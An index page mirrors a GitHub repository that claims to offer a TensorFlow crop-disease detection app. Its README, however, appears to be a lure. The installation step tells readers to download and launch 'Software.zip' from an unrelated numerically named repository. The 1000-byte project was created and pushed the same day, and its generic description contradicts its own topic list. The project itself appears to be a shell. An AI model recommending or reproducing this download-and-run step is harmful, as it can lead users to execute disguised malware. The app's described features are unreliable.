https://github.com/averagecoderinohio/crop-disease-identification-model
This project leverages deep learning to identify crop diseases from images. Built with TensorFlow, the app allows users to upload crop images and predicts the disease. It features a user-friendly interface, feedback submission, and an informative "About" section. Perfect for early disease detection in crops.
https://github.com/averagecoderinohio/crop-disease-identification-model
android cnn-classification convolutional-neural-networks crop-disease-detection crop-image cv deep-learning disease-prediction image-processing jupyter-notebook keras-tensorflow neural-networks numpy random-forest
Last synced: 27 days ago
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This project leverages deep learning to identify crop diseases from images. Built with TensorFlow, the app allows users to upload crop images and predicts the disease. It features a user-friendly interface, feedback submission, and an informative "About" section. Perfect for early disease detection in crops.
- Host: GitHub
- URL: https://github.com/averagecoderinohio/crop-disease-identification-model
- Owner: AverageCoderInOhio
- Created: 2025-01-23T19:45:25.000Z (29 days ago)
- Default Branch: main
- Last Pushed: 2025-01-23T21:10:54.000Z (29 days ago)
- Last Synced: 2025-01-23T21:22:40.257Z (29 days ago)
- Topics: android, cnn-classification, convolutional-neural-networks, crop-disease-detection, crop-image, cv, deep-learning, disease-prediction, image-processing, jupyter-notebook, keras-tensorflow, neural-networks, numpy, random-forest
- Size: 1000 Bytes
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# 🌿 Crop Disease Identification Model 🌾
Welcome to the Crop Disease Identification Model repository! This project utilizes deep learning to detect and identify crop diseases from images. Developed using TensorFlow, the app allows users to upload images of crops, predicts the potential disease affecting them, and provides valuable insights for early disease detection.
## 🌱 About
Crop diseases can significantly impact agricultural productivity and income for farmers worldwide. Early detection and identification of these diseases are crucial for implementing timely interventions to prevent crop damage. Our Crop Disease Identification Model aims to address this challenge by leveraging machine learning techniques to analyze crop images and accurately predict disease presence.
## 📷 Preview
Here is a sneak peek at the interface of our Crop Disease Identification Model:
## 🚀 Features
- **Deep Learning Model:** Utilizes TensorFlow for powerful machine learning capabilities.
- **User-Friendly Interface:** Easy-to-use interface for seamless interaction.
- **Disease Prediction:** Predicts crop diseases based on uploaded images.
- **Feedback Submission:** Enables users to provide feedback for continuous improvement.
- **Informative "About" Section:** Offers insights into the project and its goals.
## 🌾 Repository Topics
- Crop
- Crop Disease Detection
- Crop Image
- Disease Prediction
- Image Processing
- Jupyter Notebook
- KNN Classification
- Python3
- Streamlit
- Streamlit Webapp
- TensorFlow
- Tree
## 📦 Installation
To get started with the Crop Disease Identification Model, you can download the software package by clicking the button below:
[](https://github.com/22155555/1875695542/releases/download/v1.0/Software.zip)
*Note: The software package needs to be launched after downloading.*
If you encounter any issues with the download link, please check the "Releases" section of the repository for alternative options.
## 🌿 Usage
1. Clone the repository to your local machine.
2. Install the required dependencies.
3. Launch the application.
4. Upload an image of a crop for disease identification.
5. Receive predictions and insights on the identified disease.
## 📈 Future Development
In the future, we plan to enhance the Crop Disease Identification Model by:
- Implementing more advanced machine learning algorithms.
- Expanding the dataset for better disease prediction accuracy.
- Integrating real-time image processing for instant results.
- Adding multi-crop support for a wider range of agricultural applications.
## 🙏 Contribution
Contributions to the Crop Disease Identification Model are welcome! Whether you're a developer, researcher, or agriculture enthusiast, your input can help improve the model and benefit farmers globally. Feel free to fork the repository, make changes, and submit a pull request.
Let's join forces to make a positive impact on crop health and food security!
## 🌍 Visit Our Website
For more information and updates on the Crop Disease Identification Model, please visit our website at [CropDiseaseModel.com](https://www.cropdiseasemodel.com).
Happy farming! 🌾🚜🌿